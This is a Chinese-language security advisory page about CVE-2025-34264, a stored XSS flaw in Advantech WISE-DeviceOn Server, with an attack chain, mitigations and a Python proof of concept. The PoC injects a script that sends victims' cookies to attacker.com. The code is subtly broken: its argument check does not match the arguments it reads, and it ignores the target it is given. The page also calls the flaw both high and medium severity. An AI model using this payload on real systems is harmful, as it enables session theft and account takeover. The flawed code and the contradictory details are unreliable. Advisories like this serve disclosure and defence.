IPBUF安全漏洞报告
English
CVE-2025-34264 CVSS 5.4 中危

CVE-2025-34264: Advantech WISE-DeviceOn Server 存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34264
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Advantech WISE-DeviceOn Server

相关标签

存储型XSS跨站脚本Advantech WISE-DeviceOnCVE-2025-34264认证用户会话劫持Software WatchdogIoT设备管理

漏洞概述

CVE-2025-34264是Advantech WISE-DeviceOn Server中的一个高危安全漏洞,CVSS评分5.4,属于中危级别。该漏洞是一种存储型跨站脚本攻击(Stored XSS),存在于服务器的/rmm/v1/dog/{agentId} API端点中。攻击者利用该漏洞可以在软件看门狗(Software Watchdog)进程规则中注入恶意JavaScript代码,当其他用户查看或交互这些受污染的规则时,恶意脚本将在受害者浏览器中执行。由于该漏洞是存储型的,恶意代码会被永久保存在服务器端,影响所有访问该功能的用户。攻击成功后,攻击者可能窃取用户会话Cookie、劫持用户账户、执行任意操作,甚至进一步横向移动攻击其他系统。此漏洞需要攻击者具有低权限认证账户,但无需高级权限即可实施攻击,大大降低了利用门槛。

技术细节

漏洞根源在于Advantech WISE-DeviceOn Server对用户输入的进程名称缺乏严格的HTML转义和输入验证。当认证用户通过/rmm/v1/dog/{agentId}端点添加或编辑Software Watchdog进程规则时,攻击者可以将包含JavaScript代码的恶意字符串作为进程名称提交。服务器直接将此内容存储在设置数组中,未进行任何过滤或编码处理。随后,当管理员或其他用户访问Software Watchdog功能界面时,服务器从数据库读取并直接渲染这些进程名称到HTML页面中。由于缺乏输出编码,浏览器会将恶意脚本作为有效代码执行。攻击者可利用此漏洞执行多种恶意操作:窃取用户认证令牌、修改页面内容进行钓鱼、记录用户键盘输入、或诱导用户执行未授权操作。漏洞利用的关键在于构造特殊的XSS payload,如<script>alert(document.cookie)</script>或更复杂的绕过技术来躲避WAF检测。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行Advantech WISE-DeviceOn Server,并确认版本低于5.4
STEP 2
步骤2: 获取认证
攻击者通过钓鱼、默认凭证或漏洞获取低权限用户账户凭据
STEP 3
步骤3: 注入恶意脚本
通过/rmm/v1/dog/{agentId} API端点,在Software Watchdog进程名称字段中注入XSS payload
STEP 4
步骤4: 等待触发
恶意脚本被存储在服务器数据库中,等待管理员或用户访问Software Watchdog界面
STEP 5
步骤5: 脚本执行
当受害者访问受影响页面时,恶意JavaScript在其浏览器上下文中执行
STEP 6
步骤6: 窃取会话
攻击者通过XSS窃取用户Cookie、会话令牌或执行其他恶意操作
STEP 7
步骤7: 账户劫持
利用窃取的凭证进行横向移动或提权,可能获取管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-34264 PoC - Advantech WISE-DeviceOn Server Stored XSS # Authenticated Stored XSS via Software Watchdog Process Name import requests import json import sys TARGET_URL = "https://target-server.com" API_ENDPOINT = "/rmm/v1/dog/{agentId}" LOGIN_URL = f"{TARGET_URL}/api/auth/login" def login(username, password): """Authenticate and get session token""" session = requests.Session() login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, json=login_data, verify=False) if response.status_code == 200: return session, response.json().get('token') return None, None def inject_xss_payload(session, agent_id, token): """Inject malicious XSS payload into Software Watchdog process name""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # XSS payload - steals cookies when viewed xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' payload = { "settings": [ { "processName": xss_payload, "monitoringEnabled": True, "action": "alert" } ] } endpoint = f"{TARGET_URL}{API_ENDPOINT.format(agentId=agent_id)}" response = session.put(endpoint, headers=headers, json=payload) return response.status_code == 200 def main(): if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <agent_id>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] agent_id = sys.argv[4] print(f"[*] Authenticating to {target}...") session, token = login(username, password) if not token: print("[-] Authentication failed") sys.exit(1) print(f"[+] Authentication successful") print(f"[*] Injecting XSS payload for agent: {agent_id}") if inject_xss_payload(session, agent_id, token): print(f"[+] XSS payload injected successfully") print(f"[+] Payload will execute when users view Software Watchdog rules") else: print("[-] Failed to inject payload") if __name__ == "__main__": main()

影响范围

Advantech WISE-DeviceOn Server < 5.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制/rmm/v1/dog/{agentId}端点的访问权限,仅允许受信任用户访问;2) 在Web应用防火墙(WAF)层面配置XSS防护规则,过滤恶意payload;3) 禁用Software Watchdog功能直到完成修复;4) 加强对管理员账户的监控,及时发现异常行为;5) 实施严格的会话管理和多因素认证,降低会话劫持的影响;6) 定期检查日志中是否存在可疑的XSS尝试特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表